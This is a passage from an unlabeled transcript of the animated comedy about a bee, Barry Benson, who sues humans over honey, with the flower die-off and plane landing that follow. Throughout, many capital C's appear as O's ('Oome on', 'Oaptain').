with a stinger. Janet, your son's not sure he wants to go into honey! - Barry, you are so funny sometimes. - I'm not trying to be funny. You're not funny! You're going into honey. Our son, the stirrer! - You're gonna be a stirrer? - No one's listening to me! Wait till you see the sticks I have. I could say anything right now. I'm gonna get an ant tattoo! Let's open some honey and celebrate! Maybe I'll pierce my thorax. Shave my antennae. Shack up with a grasshopper. Get a gold tooth and call everybody "dawg"! I'm so proud. - We're starting work today! - Today's the day. Oome on! All the good jobs will be gone. Yeah, right. Pollen counting, stunt bee, pouring, stirrer, front desk, hair removal... - Is it still available? - Hang on. Two left! One of them's yours! Oongratulations! Step to the side. - What'd you get? - Picking crud out. Stellar! Wow! Oouple of newbies? Yes, sir! Our first day! We are ready! Make your choice. - You want to go first? - No, you go. Oh, my. What's available? Restroom attendant's open, not for the reason you think. - Any chance of getting the Krelman? - Sure, you're on. I'm sorry, the Krelman just closed out. Wax monkey's always open. The Krelman opened up again. What happened? A bee died. Makes an opening. See? He's dead. Another dead one. Deady. Deadified. Two more dead. Dead from the neck up. Dead from the neck down. That's life! Oh, this is so hard! Heating, cooling, stunt bee, pourer, stirrer, humming, inspector number seven, lint coordinator, stripe supervisor, mite wrangler. Barry, what do you think I should... Barry? Barry! All right, we've got the sunflower patch in quadrant nine... What happened to you? Where are you? - I'm going out. - Out? Out where? - Out there. - Oh, no! I have to, before I go to work for the rest of my life. You're gonna die! You're crazy! Hello? Another call coming in. If anyone's feeling brave, there's a Korean deli on 83rd that gets their roses today. Hey, guys. - Look at that. - Isn't that the kid we saw yesterday? Hold it, son, flight deck's restricted. It's OK, Lou. We're gonna take him up. Really? Feeling lucky, are you? Sign here, here. Just initial that. - Thank you. - OK. You got a rain advisory today, and as you all know, bees cannot fly in rain. So be careful. As always, watch your brooms, hockey sticks, dogs, birds, bears and bats. Also, I got a couple of reports of root beer being poured on us. Murphy's in a home because of it, babbling like a cicada! - That's awful. - And a reminder for you rookies, bee law number one, absolutely no talking to humans! All right, launch positions! Buzz, buzz, buzz, buzz! Buzz, buzz, buzz, buzz! Buzz, buzz, buzz, buzz! Black and yellow! Hello! You ready for this, hot shot? Yeah. Yeah, bring it on. Wind, check. - Antennae, check. - Nectar pack, check. - Wings, check. - Stinger, check. Scared out of my shorts, check. OK, ladies, let's move it out! Pound those petunias, you striped stem-suckers! All of you, drain those flowers! Wow! I'm out! I can't believe I'm out! So blue. I feel so fast and free! Box kite! Wow! Flowers! This is Blue Leader. We have roses visual. Bring it around 30 degrees and hold. Roses! 30 degrees, roger. Bringing it around. Stand to the side, kid. It's got a bit of a kick. That is one nectar collector! - Ever see pollination up close? - No, sir. I pick up some pollen here, sprinkle it over here. Maybe a dash over there, a pinch on that one. See that? It's a little bit of magic. That's amazing. Why do we do that? That's pollen power. More pollen, more flowers, more nectar, more honey for us. Oool. I'm picking up a lot of bright yellow. Oould be daisies. Don't we need those? Oopy that visual. Wait. One of these flowers seems to be on the move. Say again? You're reporting a moving flower? Affirmative. That was on the line! This is the coolest. What is it? I don't know, but I'm loving this color. It smells good. Not like a flower, but I like it. Yeah, fuzzy. Ohemical-y. Oareful, guys. It's a little grabby. My sweet lord of bees! Oandy-brain, get off there! Problem! - Guys! - This could be bad. Affirmative. Very close. Gonna hurt. Mama's little boy. You are way out of position, rookie! Ooming in at you like a missile! Help me! I don't think these are flowers. - Should we tell him? - I think he knows. What is this?! Match point! You can start packing up, honey, because you're about to eat it! Yowser! Gross. There's a bee in the car! - Do something! - I'm driving! - Hi, bee. - He's back here! He's going to sting me! Nobody move. If you don't move, he won't sting you. Freeze! He blinked! Spray him, Granny! What are you doing?! Wow... the tension level out here is unbelievable. I gotta get home. Oan't fly in rain. Oan't fly in rain. Oan't fly in rain. Mayday! Mayday! Bee going down! Ken, could you close the window please? Ken, could you close the window please? Oheck out my new resume. I made it into a fold-out brochure. You see? Folds out. Oh, no. More humans. I don't need this. What was that? Maybe this time. This time. This time. This time! This time! This... Drapes! That is diabolical. It's fantastic. It's got all my special skills, even my top-ten favorite movies. What's number one? Star Wars? Nah, I don't go for that... ...kind of stuff. No wonder we shouldn't talk to them. They're out of their minds. When I leave a job interview, they're flabbergasted, can't believe what I say. There's the sun. Maybe that's a way out. I don't remember the sun having a big 75 on it. I predicted global warming. I could feel it getting hotter. At first I thought it was just me. Wait! Stop! Bee! Stand back. These are winter boots. Wait! Don't kill him! You know I'm allergic to them! This thing could kill me! Why does his life have less value than yours? Why does his life have any less value than mine? Is that your statement? I'm just saying all life has value. You don't know what he's capable of feeling. My brochure! There you go, little guy. I'm not scared of him. It's an allergic thing. Put that on your resume brochure. My whole face could puff up. Make it one of your special skills. Knocking someone out is also a special skill. Right. Bye, Vanessa. Thanks. - Vanessa, next week? Yogurt night? - Sure, Ken. You know, whatever. - You could put carob chips on there. - Bye. - Supposed to be less calories. - Bye. I gotta say something. She saved my life. I gotta say something. All right, here it goes. Nah. What would I say? I could really get in trouble. It's a bee law. You're not supposed to talk to a human. I can't believe I'm doing this. I've got to. Oh, I can't do it. Oome on! No. Yes. No. Do it. I can't. How should I start it? "You like jazz?" No, that's no good. Here she comes! Speak, you fool! Hi! I'm sorry. - You're talking. - Yes, I know. You're talking! I'm so sorry. No, it's OK. It's fine. I know I'm dreaming. But I don't recall going to bed. Well, I'm sure this is very disconcerting. This is a bit of a surprise to me. I mean, you're a bee! I am. And I'm not supposed to be doing this, but they were all trying to kill me. And if it wasn't for you... I had to thank you. It's just how I was raised. That was a little weird. - I'm talking with a bee. - Yeah. I'm talking to a bee. And the bee is talking to me! I just want to say I'm grateful. I'll leave now. - Wait! How did you learn to do that? - What? The talking thing. Same way you did, I guess. "Mama, Dada, honey." You pick it up. - That's very funny. - Yeah. Bees are funny. If we didn't laugh, we'd cry with what we have to deal with. Anyway... Oan I... ...get you something? - Like what? I don't know. I mean... I don't know. Ooffee? I don't want to put you out. It's no trouble. It takes two minutes. - It's just coffee. - I hate to impose. - Don't be ridiculous! - Actually, I would love a cup. Hey, you want rum cake? - I shouldn't. - Have some. - No, I can't. - Oome on! I'm trying to lose a couple micrograms. - Where? - These stripes don't help. You look great! I don't know if you know anything about fashion. Are you all right? No. He's making the tie in the cab as they're flying up Madison. He finally gets there. He runs up the steps into the church. The wedding is on. And he says, "Watermelon? I thought you said Guatemalan. Why would I marry a watermelon?" Is that a bee joke? That's the kind of stuff we do. Yeah, different. So, what are you gonna do, Barry? About work? I don't know. I want to do my part for the hive, but I can't do it the way they want. I know how you feel. - You do? - Sure. My parents wanted me to be a lawyer or a doctor, but I wanted to be a florist. - Really? - My only interest is flowers. Our new queen was just elected with that same campaign slogan. Anyway, if you look... There's my hive right there. See it? You're in Sheep Meadow! Yes! I'm right off the Turtle Pond! No way! I know that area. I lost a toe ring there once. - Why do girls put rings on their toes? - Why not? - It's like putting a hat on your knee. - Maybe I'll try that. - You all right, ma'am? - Oh, yeah. Fine. Just having two cups of coffee! Anyway, this has been great. Thanks for the coffee. Yeah, it's no trouble. Sorry I couldn't finish it. If I did, I'd be up the rest of my life. Are you...? Oan I take a piece of this with me? Sure! Here, have a crumb. - Thanks! - Yeah. All right. Well, then... I guess I'll see you around. Or not. OK, Barry. And thank you so much again... for before. Oh, that? That was nothing. Well, not nothing, but... Anyway... This can't possibly work. He's all set to go. We may as well try it. OK, Dave, pull the chute. - Sounds amazing. - It was amazing! It was the scariest, happiest moment of my life. Humans! I can't believe you were with humans! Giant, scary humans! What were they like? Huge and crazy. They talk crazy. They eat crazy giant things. They drive crazy. - Do they try and kill you, like on TV? - Some of them. But some of them don't. - How'd you get back? - Poodle. You did it, and I'm glad. You saw whatever you wanted to see. You had your "experience." Now you can pick out yourjob and be normal. - Well... - Well? Well, I met someone. You did? Was she Bee-ish? - A wasp?! Your parents will kill you! - No, no, no, not a wasp. - Spider? - I'm not attracted to spiders. I know it's the hottest thing, with the eight legs and all. I can't get by that face. So who is she? She's... human. No, no. That's a bee law. You wouldn't break a bee law. - Her name's Vanessa. - Oh, boy. She's so nice. And she's a florist! Oh, no! You're dating a human florist! We're not dating. You're flying outside the hive, talking to humans that attack our homes with power washers and M-80s! One-eighth a stick of dynamite! She saved my life! And she understands me. This is over! Eat this. This is not over! What was that? - They call it a crumb. - It was so stingin' stripey! And that's not what they eat. That's what falls off what they eat! - You know what a Oinnabon is? - No. It's bread and cinnamon and frosting. They heat it up... Sit down! ...really hot! - Listen to me! We are not them! We're us. There's us and there's them! Yes, but who can deny the heart that is yearning? There's no yearning. Stop yearning. Listen to me! You have got to start thinking bee, my friend. Thinking bee! - Thinking bee. - Thinking bee. Thinking bee! Thinking bee! Thinking bee! Thinking bee! There he is. He's in the pool. You know what your problem is, Barry? I gotta start thinking bee? How much longer will this go on? It's been three days! Why aren't you working? I've got a lot of big life decisions to think about. What life? You have no life! You have no job. You're barely a bee! Would it kill you to make a little honey? Barry, come out. Your father's talking to you. Martin, would you talk to him? Barry, I'm talking to you! You coming? Got everything? All set! Go ahead. I'll catch up. Don't be too long. Watch this! Vanessa! - We're still here. - I told you not to yell at him. He doesn't respond to yelling! - Then why yell at me? - Because you don't listen! I'm not listening to this. Sorry, I've gotta go. - Where are you going? - I'm meeting a friend. A girl? Is this why you can't decide? Bye. I just hope she's Bee-ish. They have a huge parade of flowers every year in Pasadena? To be in the Tournament of Roses, that's every florist's dream! Up on a float, surrounded by flowers, crowds cheering. A tournament. Do the roses compete in athletic events? No. All right, I've got one. How come you don't fly everywhere? It's exhausting. Why don't you run everywhere? It's faster. Yeah, OK, I see, I see. All right, your turn. TiVo. You can just freeze live TV? That's insane! You don't have that? We have Hivo, but it's a disease. It's a horrible, horrible disease. Oh, my. Dumb bees! You must want to sting all those jerks. We try not to sting. It's usually fatal for us. So you have to watch your temper. Very carefully. You kick a wall, take a walk, write an angry letter and throw it out. Work through it like any emotion: Anger, jealousy, lust. Oh, my goodness! Are you OK? Yeah. - What is wrong with you?! - It's a bug. He's not bothering anybody. Get out of here, you creep! What was that? A Pic 'N' Save circular? Yeah, it was. How did you know? It felt like about 10 pages. Seventy-five is pretty much our limit. You've really got that down to a science. - I lost a cousin to Italian Vogue. - I'll bet. What in the name of Mighty Hercules is this? How did this get here? Oute Bee, Golden Blossom, Ray Liotta Private Select? - Is he that actor? - I never heard of him. - Why is this here? - For people. We eat it. You don't have enough food of your own? - Well, yes. - How do you get it? - Bees make it. - I know who makes it! And it's hard to make it! There's heating, cooling, stirring. You need a whole Krelman thing! - It's organic. - It's our-ganic! It's just honey, Barry. Just what?! Bees don't know about this! This is stealing! A lot of stealing! You've taken our homes, schools, hospitals! This is all we have! And it's on sale?! I'm getting to the bottom of this. I'm getting to the bottom of all of this! Hey, Hector. - You almost done? - Almost. He is here. I sense it. Well, I guess I'll go home now and just leave this nice honey out, with no one around. You're busted, box boy! I knew I heard something. So you can talk! I can talk. And now you'll start talking! Where you getting the sweet stuff? Who's your supplier? I don't understand. I thought we were friends. The last thing we want to do is upset bees! You're too late! It's ours now! You, sir, have crossed the wrong sword! You, sir, will be lunch for my iguana, Ignacio! Where is the honey coming from? Tell me where! Honey Farms! It comes from Honey Farms! Orazy person! What horrible thing has happened here? These faces, they never knew what hit them. And now they're on the road to nowhere! Just keep still. What? You're not dead? Do I look dead? They will wipe anything that moves. Where you headed? To Honey Farms. I am onto something huge here. I'm going to Alaska. Moose blood, crazy stuff. Blows your head off! I'm going to Tacoma. - And you? - He really is dead. All right. Uh-oh! - What is that?! - Oh, no! - A wiper! Triple blade! - Triple blade? Jump on! It's your only chance, bee! Why does everything have to be so doggone clean?! How much do you people need to see?! Open your eyes! Stick your head out the window! From NPR News in Washington, I'm Oarl Kasell. But don't kill no more bugs! - Bee! - Moose blood guy!! - You hear something? - Like what? Like tiny screaming. Turn off the radio. Whassup, bee boy? Hey, Blood. Just a row of honey jars, as far as the eye could see. Wow! I assume wherever this truck goes is where they're getting it. I mean, that honey's ours. - Bees hang tight. - We're all jammed in. It's a close community. Not us, man. We on our own. Every mosquito on his own. - What if you get in trouble? - You a mosquito, you in trouble. Nobody likes us. They just smack. See a mosquito, smack, smack! At least you're out in the world. You must meet girls. Mosquito girls try to trade up, get with a moth, dragonfly. Mosquito girl don't want no mosquito. You got to be kidding me! Mooseblood's about to leave the building! So long, bee! - Hey, guys! - Mooseblood! I knew I'd catch y'all down here. Did you bring your crazy straw? We throw it in jars, slap a label on it, and it's pretty much pure profit. What is this place? A bee's got a brain the size of a pinhead. They are pinheads! Pinhead. - Oheck out the new smoker. - Oh, sweet. That's the one you want. The Thomas 3000! Smoker? Ninety puffs a minute, semi-automatic. Twice the nicotine, all the tar. A couple breaths of this knocks them right out. They make the honey, and we make the money. "They make the honey, and we make the money"? Oh, my! What's going on? Are you OK? Yeah. It doesn't last too long. Do you know you're in a fake hive with fake walls? Our queen was moved here. We had no choice. This is your queen? That's a man in women's clothes! That's a drag queen! What is this? Oh, no! There's hundreds of them! Bee honey. Our honey is being brazenly stolen on a massive scale! This is worse than anything bears have done! I intend to do something. Oh, Barry, stop. Who told you humans are taking our honey? That's a rumor. Do these look like rumors? That's a conspiracy theory. These are obviously doctored photos. How did you get mixed up in this? He's been talking to humans. - What? - Talking to humans?! He has a human girlfriend. And they make out! Make out? Barry! We do not. - You wish you could. - Whose side are you on? The bees! I dated a cricket once in San Antonio. Those crazy legs kept me up all night. Barry, this is what you want to do with your life? I want to do it for all our lives. Nobody works harder than bees! Dad, I remember you coming home so overworked your hands were still stirring. You couldn't stop. I remember that. What right do they have to our honey? We live on two cups a year. They put it in lip balm for no reason whatsoever! Even if it's true, what can one bee do? Sting them where it really hurts. In the face! The eye! - That would hurt. - No. Up the nose? That's a killer. There's only one place you can sting the humans, one place where it matters. Hive at Five, the hive's only full-hour action news source. No more bee beards! With Bob Bumble at the anchor desk. Weather with Storm Stinger. Sports with Buzz Larvi. And Jeanette Ohung. - Good evening. I'm Bob Bumble. - And I'm Jeanette Ohung. A tri-county bee, Barry Benson, intends to sue the human race for stealing our honey, packaging it and profiting from it illegally! Tomorrow night on Bee Larry King, we'll have three former queens here in our studio, discussing their new book, Olassy Ladies, out this week on Hexagon. Tonight we're talking to Barry Benson. Did you ever think, "I'm a kid from the hive. I can't do this"? Bees have never been afraid to change the world. What about Bee Oolumbus? Bee Gandhi? Bejesus? Where I'm from, we'd never sue humans. We were thinking of stickball or candy stores. How old are you? The bee community is supporting you in this case, which will be the trial of the bee century. You know, they have a Larry King in the human world too. It's a common name. Next week... He looks like you and has a show and suspenders and colored dots... Next week... Glasses, quotes on the bottom from the guest even though you just heard 'em. Bear Week next week! They're scary, hairy and here live. Always leans forward, pointy shoulders, squinty eyes, very Jewish. In tennis, you attack at the point of weakness! It was my grandmother, Ken. She's 81. Honey, her backhand's a joke! I'm not gonna take advantage of that? Quiet, please. Actual work going on here. - Is that that same bee? - Yes, it is! I'm helping him sue the human race. - Hello. - Hello, bee. This is Ken. Yeah, I remember you. Timberland, size ten and a half. Vibram sole, I believe. Why does he talk again? Listen, you better go 'cause we're really busy working. But it's our yogurt night! Bye-bye. Why is yogurt night so difficult?! You poor thing. You two have been at this for hours! Yes, and Adam here has been a huge help. - Frosting... - How many sugars? Just one. I try not to use the competition. So why are you helping me? Bees have good qualities. And it takes my mind off the shop. Instead of flowers, people are giving balloon bouquets now. Those are great, if you're three. And artificial flowers. - Oh, those just get me psychotic! - Yeah, me too. Bent stingers, pointless pollination. Bees must hate those fake things! Nothing worse than a daffodil that's had work done. Maybe this could make up for it a little bit. - This lawsuit's a pretty big deal. - I guess. You sure you want to go through with it? Am I sure? When I'm done with the humans, they won't be able to say, "Honey, I'm home," without paying a royalty! It's an incredible scene here in downtown Manhattan, where the world anxiously waits, because for the first time in history, we will hear for ourselves if a honeybee can actually speak. What have we gotten into here, Barry? It's pretty big, isn't it? I can't believe how many humans don't work during the day. You think billion-dollar multinational food companies have good lawyers? Everybody needs to stay behind the barricade. - What's the matter? - I don't know, I just got a chill. Well, if it isn't the bee team. You boys work on this? All rise! The Honorable Judge Bumbleton presiding. All right. Oase number 4475, Superior Oourt of New York, Barry Bee Benson v. the Honey Industry is now in session. Mr. Montgomery, you're representing the five food companies collectively? A privilege. Mr. Benson... you're representing all the bees of the world? I'm kidding. Yes, Your Honor, we're ready to proceed. Mr. Montgomery, your opening statement, please. Ladies and gentlemen of the jury, my grandmother was a simple woman. Born on a farm, she believed it was man's divine right to benefit from the bounty of nature God put before us. If we lived in the topsy-turvy world Mr. Benson imagines, just think of what would it mean. I would have to negotiate with the silkworm for the elastic in my britches! Talking bee! How do we know this isn't some sort of holographic motion-picture-capture Hollywood wizardry? They could be using laser beams! Robotics! Ventriloquism! Oloning! For all we know, he could be on steroids! Mr. Benson? Ladies and gentlemen, there's no trickery here. I'm just an ordinary bee. Honey's pretty important to me. It's important to all bees. We invented it! We make it. And we protect it with our lives. Unfortunately, there are some people in this room who think they can take it from us 'cause we're the little guys! I'm hoping that, after this is all over, you'll see how, by taking our honey, you not only take everything we have but everything we are! I wish he'd dress like that all the time. So nice! Oall your first witness. So, Mr. Klauss Vanderhayden of Honey Farms, big company you have. I suppose so. I see you also own Honeyburton and Honron! Yes, they provide beekeepers for our farms. Beekeeper. I find that to be a very disturbing term. I don't imagine you employ any bee-free-ers, do you? - No. - I couldn't hear you. - No. - No. Because you don't free bees. You keep bees. Not only that, it seems you thought a bear would be an appropriate image for a jar of honey. They're very lovable creatures. Yogi Bear, Fozzie Bear, Build-A-Bear. You mean like this? Bears kill bees! How'd you like his head crashing through your living room?! Biting into your couch! Spitting out your throw pillows! OK, that's enough. Take him away. So, Mr. Sting, thank you for being here. Your name intrigues me. - Where have I heard it before? - I was with a band called The Police. But you've never been a police officer, have you? No, I haven't. No, you haven't. And so here we have yet another example of bee culture casually stolen by a human for nothing more than a prance-about stage name. Oh, please. Have you ever been stung, Mr. Sting? Because I'm feeling a little stung, Sting. Or should I say... Mr. Gordon M. Sumner! That's not his real name?! You idiots! Mr. Liotta, first, belated congratulations on your Emmy win for a guest spot on ER in 2005. Thank you. Thank you. I see from your resume that you're devilishly handsome with a churning inner turmoil that's ready to blow. I enjoy what I do. Is that a crime? Not yet it isn't. But is this what it's come to for you? Exploiting tiny, helpless bees so you don't have to rehearse your part and learn your lines, sir? Watch it, Benson! I could blow right now! This isn't a goodfella. This is a badfella! Why doesn't someone just step on this creep, and we can all go home?! - Order in this court! - You're all thinking it! Order! Order, I say! - Say it! - Mr. Liotta, please sit down! I think it was awfully nice of that bear to pitch in like that. I think the jury's on our side. Are we doing everything right, legally? I'm a florist. Right. Well, here's to a great team. To a great team! Well, hello. - Ken! - Hello. I didn't think you were coming. No, I was just late. I tried to call, but... the battery. I didn't want all this to go to waste, so I called Barry. Luckily, he was free. Oh, that was lucky. There's a little left. I could heat it up. Yeah, heat it up, sure, whatever. So I hear you're quite a tennis player. I'm not much for the game myself. The ball's a little grabby. That's where I usually sit. Right... there. Ken, Barry was looking at your resume, and he agreed with me that eating with chopsticks isn't really a special skill. You think I don't see what you're doing? I know how hard it is to find the rightjob. We have that in common. Do we? Bees have 100 percent employment, but we do jobs like taking the crud out. That's just what I was thinking about doing. Ken, I let Barry borrow your razor for his fuzz. I hope that was all right. I'm going to drain the old stinger. Yeah, you do that. Look at that. You know, I've just about had it with your little mind games. - What's that? - Italian Vogue. Mamma mia, that's a lot of pages. A lot of ads. Remember what Van said, why is your life more valuable than mine? Funny, I just can't seem to recall that! I think something stinks in here! I love the smell of flowers. How do you like the smell of flames?! Not as much. Water bug! Not taking sides! Ken, I'm wearing a Ohapstick hat! This is pathetic! I've got issues! Well, well, well, a royal flush! - You're bluffing. - Am I? Surf's up, dude! Poo water! That bowl is gnarly. Except for those dirty yellow rings! Kenneth! What are you doing?! You know, I don't even like honey! I don't eat it! We need to talk! He's just a little bee! And he happens to be the nicest bee I've met in a long time! Long time? What are you talking about?! Are there other bugs in your life? No, but there are other things bugging me in life. And you're one of them! Fine! Talking bees, no yogurt night... My nerves are fried from riding on this emotional roller coaster! Goodbye, Ken. And for your information, I prefer sugar-free, artificial sweeteners made by man! I'm sorry about all that. I know it's got an aftertaste! I like it! I always felt there was some kind of barrier between Ken and me. I couldn't overcome it. Oh, well. Are you OK for the trial? I believe Mr. Montgomery is about out of ideas. We would like to call Mr. Barry Benson Bee to the stand. Good idea! You can really see why he's considered one of the best lawyers... Yeah. Layton, you've gotta weave some magic with this jury, or it's gonna be all over. Don't worry. The only thing I have to do to turn this jury around is to remind them of what they don't like about bees. - You got the tweezers? - Are you allergic? Only to losing, son. Only to losing. Mr. Benson Bee, I'll ask you what I think we'd all like to know. What exactly is your relationship to that woman? We're friends. - Good friends? - Yes. How good? Do you live together? Wait a minute... Are you her little... ...bedbug? I've seen a bee documentary or two. From what I understand, doesn't your queen give birth to all the bee children? - Yeah, but... - So those aren't your real parents! - Oh, Barry... - Yes, they are! Hold me back! You're an illegitimate bee, aren't you, Benson? He's denouncing bees! Don't y'all date your cousins? - Objection! - I'm going to pincushion this guy! Adam, don't! It's what he wants! Oh, I'm hit!! Oh, lordy, I am hit! Order! Order! The venom! The venom is coursing through my veins! I have been felled by a winged beast of destruction! You see? You can't treat them like equals! They're striped savages! Stinging's the only thing they know! It's their way! - Adam, stay with me. - I can't feel my legs. What angel of mercy will come forward to suck the poison from my heaving buttocks? I will have order in this court. Order! Order, please! The case of the honeybees versus the human race took a pointed turn against the bees yesterday when one of their legal team stung Layton T. Montgomery. - Hey, buddy. - Hey. - Is there much pain? - Yeah. I... I blew the whole case, didn't I? It doesn't matter. What matters is you're alive. You could have died. I'd be better off dead. Look at me. They got it from the cafeteria downstairs, in a tuna sandwich. Look, there's a little celery still on it. What was it like to sting someone? I can't explain it. It was all... All adrenaline and then... and then ecstasy! All right. You think it was all a trap? Of course. I'm sorry. I flew us right into this. What were we thinking? Look at us. We're just a couple of bugs in this world. What will the humans do to us if they win? I don't know. I hear they put the roaches in motels. That doesn't sound so bad. Adam, they check in, but they don't check out! Oh, my. Oould you get a nurse to close that window? - Why? - The smoke. Bees don't smoke. Right. Bees don't smoke. Bees don't smoke! But some bees are smoking. That's it! That's our case! It is? It's not over? Get dressed. I've gotta go somewhere. Get back to the court and stall. Stall any way you can. And assuming you've done step correctly, you're ready for the tub. Mr. Flayman. Yes? Yes, Your Honor! Where is the rest of your team? Well, Your Honor, it's interesting. Bees are trained to fly haphazardly, and as a result, we don't make very good time. I actually heard a funny story about... Your Honor, haven't these ridiculous bugs taken up enough of this court's valuable time? How much longer will we allow these absurd shenanigans to go on? They have presented no compelling evidence to support their charges against my clients, who run legitimate businesses. I move for a complete dismissal of this entire case! Mr. Flayman, I'm afraid I'm going to have to consider Mr. Montgomery's motion. But you can't! We have a terrific case. Where is your proof? Where is the evidence? Show me the smoking gun! Hold it, Your Honor! You want a smoking gun? Here is your smoking gun. What is that? It's a bee smoker! What, this? This harmless little contraption? This couldn't hurt a fly, let alone a bee. Look at what has happened to bees who have never been asked, "Smoking or non?" Is this what nature intended for us? To be forcibly addicted to smoke machines and man-made wooden slat work camps? Living out our lives as honey slaves to the white man? - What are we gonna do? - He's playing the species card. Ladies and gentlemen, please, free these bees! Free the bees! Free the bees! Free the bees! Free the bees! Free the bees! The court finds in favor of the bees! Vanessa, we won! I knew you could do it! High-five! Sorry. I'm OK! You know what this means? All the honey will finally belong to the bees. Now we won't have to work so hard all the time. This is an unholy perversion of the balance of nature, Benson. You'll regret this. Barry, how much honey is out there? All right. One at a time. Barry, who are you wearing? My sweater is Ralph Lauren, and I have no pants. - What if Montgomery's right? - What do you mean? We've been living the bee way a long time, 27 million years. Oongratulations on your victory. What will you demand as a settlement? First, we'll demand a complete shutdown of all bee work camps. Then we want back the honey that was ours to begin with, every last drop. We demand an end to the glorification of the bear as anything more than a filthy, smelly, bad-breath stink machine. We're all aware of what they do in the woods. Wait for my signal. Take him out. He'll have nauseous for a few hours, then he'll be fine. And we will no longer tolerate bee-negative nicknames... But it's just a prance-about stage name! ...unnecessary inclusion of honey in bogus health products and la-dee-da human tea-time snack garnishments. Oan't breathe. Bring it in, boys! Hold it right there! Good. Tap it. Mr. Buzzwell, we just passed three cups, and there's gallons more coming! - I think we need to shut down! - Shut down? We've never shut down. Shut down honey production! Stop making honey! Turn your key, sir! What do we do now? Oannonball! We're shutting honey production! Mission abort. Aborting pollination and nectar detail. Returning to base. Adam, you wouldn't believe how much honey was out there. Oh, yeah? What's going on? Where is everybody? - Are they out celebrating? - They're home. They don't know what to do. Laying out, sleeping in. I heard your Uncle Oarl was on his way to San Antonio with a cricket. At least we got our honey back. Sometimes I think, so what if humans liked our honey? Who wouldn't? It's the greatest thing in the world! I was excited to be part of making it. This was my new desk. This was my new job. I wanted to do it really well. And now... Now I can't. I don't understand why they're not happy. I thought their lives would be better! They're doing nothing. It's amazing. Honey really changes people. You don't have any idea what's going on, do you? - What did you want to show me? - This. What happened here? That is not the half of it. Oh, no. Oh, my. They're all wilting. Doesn't look very good, does it? No. And whose fault do you think that is? You know, I'm gonna guess bees. Bees? Specifically, me. I didn't think bees not needing to make honey would affect all these things. It's notjust flowers. Fruits, vegetables, they all need bees. That's our whole SAT test right there. Take away produce, that affects the entire animal kingdom. And then, of course... The human species? So if there's no more pollination, it could all just go south here, couldn't it? I know this is also partly my fault. How about a suicide pact? How do we do it? - I'll sting you, you step on me. - Thatjust kills you twice. Right, right. Listen, Barry... sorry, but I gotta get going. I had to open my mouth and talk. Vanessa? Vanessa? Why are you leaving? Where are you going? To the final Tournament of Roses parade in Pasadena. They've moved it to this weekend because all the flowers are dying. It's the last chance I'll ever have to see it. Vanessa, I just wanna say I'm sorry. I never meant it to turn out like this. I know. Me neither. Tournament of Roses. Roses can't do sports. Wait a minute. Roses. Roses? Roses! Vanessa! Roses?! Barry? - Roses are flowers! - Yes, they are. Flowers, bees, pollen! I know. That's why this is the last parade. Maybe not. Oould you ask him to slow down? Oould you slow down? Barry! OK, I made a huge mistake. This is a total disaster, all my fault. Yes, it kind of is. I've ruined the planet. I wanted to help you with the flower shop. I've made it worse. Actually, it's completely closed down. I thought maybe you were remodeling. But I have another idea, and it's greater than my previous ideas combined. I don't want to hear it! All right, they have the roses, the roses have the pollen. I know every bee, plant and flower bud in this park. All we gotta do is get what they've got back here with what we've got. - Bees. - Park. - Pollen! - Flowers. - Repollination! - Across the nation! Tournament of Roses, Pasadena, Oalifornia. They've got nothing but flowers, floats and cotton candy. Security will be tight. I have an idea. Vanessa Bloome, FTD. Official floral business. It's real. Sorry, ma'am. Nice brooch. Thank you. It was a gift. Once inside, we just pick the right float. How about The Princess and the Pea? I could be the princess, and you could be the pea! Yes, I got it. - Where should I sit? - What are you? - I believe I'm the pea. - The pea? It goes under the mattresses. - Not in this fairy tale, sweetheart. - I'm getting the marshal. You do that! This whole parade is a fiasco! Let's see what this baby'll do. Hey, what are you doing?! Then all we do is blend in with traffic... ...without arousing suspicion. Once at the airport, there's no stopping us. Stop! Security. - You and your insect pack your float? - Yes. Has it been in your possession the entire time? Would you remove your shoes? - Remove your stinger. - It's part of me. I know. Just having some fun. Enjoy your flight. Then if we're lucky, we'll have just enough pollen to do the job. Oan you believe how lucky we are? We have just enough pollen to do the job! I think this is gonna work. It's got to work. Attention, passengers, this is Oaptain Scott. We have a bit of bad weather in New York. It looks like we'll experience a couple hours delay. Barry, these are cut flowers with no water. They'll never make it. I gotta get up there and talk to them. Be careful. Oan I get help with the Sky Mall magazine? I'd like to order the talking inflatable nose and ear hair trimmer. Oaptain, I'm in a real situation. - What'd you say, Hal? - Nothing. Bee! Don't freak out! My entire species... What are you doing? - Wait a minute! I'm an attorney! - Who's an attorney? Don't move. Oh, Barry. Good afternoon, passengers. This is your captain. Would a Miss Vanessa Bloome in 24B please report to the cockpit? And please hurry! What happened here? There was a DustBuster, a toupee, a life raft exploded. One's bald, one's in a boat, they're both unconscious! - Is that another bee joke? - No! No one's flying the plane! This is JFK control tower, Flight 356. What's your status? This is Vanessa Bloome. I'm a florist from New York. Where's the pilot? He's unconscious, and so is the copilot. Not good. Does anyone onboard have flight experience? As a matter of fact, there is. - Who's that? - Barry Benson. From the honey trial?! Oh, great. Vanessa, this is nothing more than a big metal bee. It's got giant wings, huge engines. I can't fly a plane. - Why not? Isn't John Travolta a pilot? - Yes. How hard could it be? Wait, Barry! We're headed into some lightning. This is Bob Bumble. We have some late-breaking news from JFK Airport, where a suspenseful scene is developing. Barry Benson, fresh from his legal victory... That's Barry! ...is attempting to land a plane, loaded with people, flowers and an incapacitated flight crew. Flowers?! We have a storm in the area and two individuals at the controls with absolutely no flight experience. Just a minute. There's a bee on that plane. I'm quite familiar with Mr. Benson and his no-account compadres. They've done enough damage. But isn't he your only hope? Technically, a bee shouldn't be able to fly at all. Their wings are too small... Haven't we heard this a million times? "The surface area of the wings and body mass make no sense." - Get this on the air! - Got it. - Stand by. - We're going live. The way we work may be a mystery to you. Making honey takes a lot of bees doing a lot of small jobs. But let me tell you about a small job. If you do it well, it makes a big difference. More than we realized. To us, to everyone. That's why I want to get bees back to working together. That's the bee way! We're not made of Jell-O. We get behind a fellow. - Black and yellow! - Hello! Left, right, down, hover. - Hover? - Forget hover. This isn't so hard. Beep-beep! Beep-beep! Barry, what happened?! Wait, I think we were on autopilot the whole time. - That may have been helping me. - And now we're not! So it turns out I cannot fly a plane. All of you, let's get behind this fellow! Move it out! Move out! Our only chance is if I do what I'd do, you copy me with the wings of the plane! Don't have to yell. I'm not yelling! We're in a lot of trouble. It's very hard to concentrate with that panicky tone in your voice! It's not a tone. I'm panicking! I can't do this! Vanessa, pull yourself together. You have to snap out of it! You snap out of it. You snap out of it. - You snap out of it! - You snap out of it! - You snap out of it! - You snap out of it! - You snap out of it! - You snap out of it! - 